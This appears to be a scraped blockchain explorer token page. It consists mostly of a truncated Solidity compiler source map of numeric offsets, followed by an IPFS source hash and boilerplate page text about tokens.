81;12343:1;12336:9;12329:17;12325:105;12322:131;;;12433:18;;:::i;:::-;12322:131;12481:1;12478;12474:9;12463:20;;12141:348;;;;:::o;12495:191::-;12535:4;12555:20;12573:1;12555:20;:::i;:::-;12550:25;;12589:20;12607:1;12589:20;:::i;:::-;12584:25;;12628:1;12625;12622:8;12619:34;;;12633:18;;:::i;:::-;12619:34;12678:1;12675;12671:9;12663:17;;12495:191;;;;:::o;12692:442::-;12841:4;12879:2;12868:9;12864:18;12856:26;;12892:71;12960:1;12949:9;12945:17;12936:6;12892:71;:::i;:::-;12973:72;13041:2;13030:9;13026:18;13017:6;12973:72;:::i;:::-;13055;13123:2;13112:9;13108:18;13099:6;13055:72;:::i;:::-;12692:442;;;;;;:::o;13140:180::-;13188:77;13185:1;13178:88;13285:4;13282:1;13275:15;13309:4;13306:1;13299:15;13326:180;13374:77;13371:1;13364:88;13471:4;13468:1;13461:15;13495:4;13492:1;13485:15;13512:143;13569:5;13600:6;13594:13;13585:22;;13616:33;13643:5;13616:33;:::i;:::-;13512:143;;;;:::o;13661:351::-;13731:6;13780:2;13768:9;13759:7;13755:23;13751:32;13748:119;;;13786:79;;:::i;:::-;13748:119;13906:1;13931:64;13987:7;13978:6;13967:9;13963:22;13931:64;:::i;:::-;13921:74;;13877:128;13661:351;;;;:::o;14018:85::-;14063:7;14092:5;14081:16;;14018:85;;;:::o;14109:158::-;14167:9;14200:61;14218:42;14227:32;14253:5;14227:32;:::i;:::-;14218:42;:::i;:::-;14200:61;:::i;:::-;14187:74;;14109:158;;;:::o;14273:147::-;14368:45;14407:5;14368:45;:::i;:::-;14363:3;14356:58;14273:147;;:::o;14426:114::-;14493:6;14527:5;14521:12;14511:22;;14426:114;;;:::o;14546:184::-;14645:11;14679:6;14674:3;14667:19;14719:4;14714:3;14710:14;14695:29;;14546:184;;;;:::o;14736:132::-;14803:4;14826:3;14818:11;;14856:4;14851:3;14847:14;14839:22;;14736:132;;;:::o;14874:108::-;14951:24;14969:5;14951:24;:::i;:::-;14946:3;14939:37;14874:108;;:::o;14988:179::-;15057:10;15078:46;15120:3;15112:6;15078:46;:::i;:::-;15156:4;15151:3;15147:14;15133:28;;14988:179;;;;:::o;15173:113::-;15243:4;15275;15270:3;15266:14;15258:22;;15173:113;;;:::o;15322:732::-;15441:3;15470:54;15518:5;15470:54;:::i;:::-;15540:86;15619:6;15614:3;15540:86;:::i;:::-;15533:93;;15650:56;15700:5;15650:56;:::i;:::-;15729:7;15760:1;15745:284;15770:6;15767:1;15764:13;15745:284;;;15846:6;15840:13;15873:63;15932:3;15917:13;15873:63;:::i;:::-;15866:70;;15959:60;16012:6;15959:60;:::i;:::-;15949:70;;15805:224;15792:1;15789;15785:9;15780:14;;15745:284;;;15749:14;16045:3;16038:10;;15446:608;;;15322:732;;;;:::o;16060:831::-;16323:4;16361:3;16350:9;16346:19;16338:27;;16375:71;16443:1;16432:9;16428:17;16419:6;16375:71;:::i;:::-;16456:80;16532:2;16521:9;16517:18;16508:6;16456:80;:::i;:::-;16583:9;16577:4;16573:20;16568:2;16557:9;16553:18;16546:48;16611:108;16714:4;16705:6;16611:108;:::i;:::-;16603:116;;16729:72;16797:2;16786:9;16782:18;16773:6;16729:72;:::i;:::-;16811:73;16879:3;16868:9;16864:19;16855:6;16811:73;:::i;:::-;16060:831;;;;;;;;:::o;16897:807::-;17146:4;17184:3;17173:9;17169:19;17161:27;;17198:71;17266:1;17255:9;17251:17;17242:6;17198:71;:::i;:::-;17279:72;17347:2;17336:9;17332:18;17323:6;17279:72;:::i;:::-;17361:80;17437:2;17426:9;17422:18;17413:6;17361:80;:::i;:::-;17451;17527:2;17516:9;17512:18;17503:6;17451:80;:::i;:::-;17541:73;17609:3;17598:9;17594:19;17585:6;17541:73;:::i;:::-;17624;17692:3;17681:9;17677:19;17668:6;17624:73;:::i;:::-;16897:807;;;;;;;;;:::o;17710:143::-;17767:5;17798:6;17792:13;17783:22;;17814:33;17841:5;17814:33;:::i;:::-;17710:143;;;;:::o;17859:663::-;17947:6;17955;17963;18012:2;18000:9;17991:7;17987:23;17983:32;17980:119;;;18018:79;;:::i;:::-;17980:119;18138:1;18163:64;18219:7;18210:6;18199:9;18195:22;18163:64;:::i;:::-;18153:74;;18109:128;18276:2;18302:64;18358:7;18349:6;18338:9;18334:22;18302:64;:::i;:::-;18292:74;;18247:129;18415:2;18441:64;18497:7;18488:6;18477:9;18473:22;18441:64;:::i;:::-;18431:74;;18386:129;17859:663;;;;;:::o

Swarm Source

ipfs://14ab980b73279be41c3a428e0d6d69d5e5109e73ef349494add8ea314cf20713
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.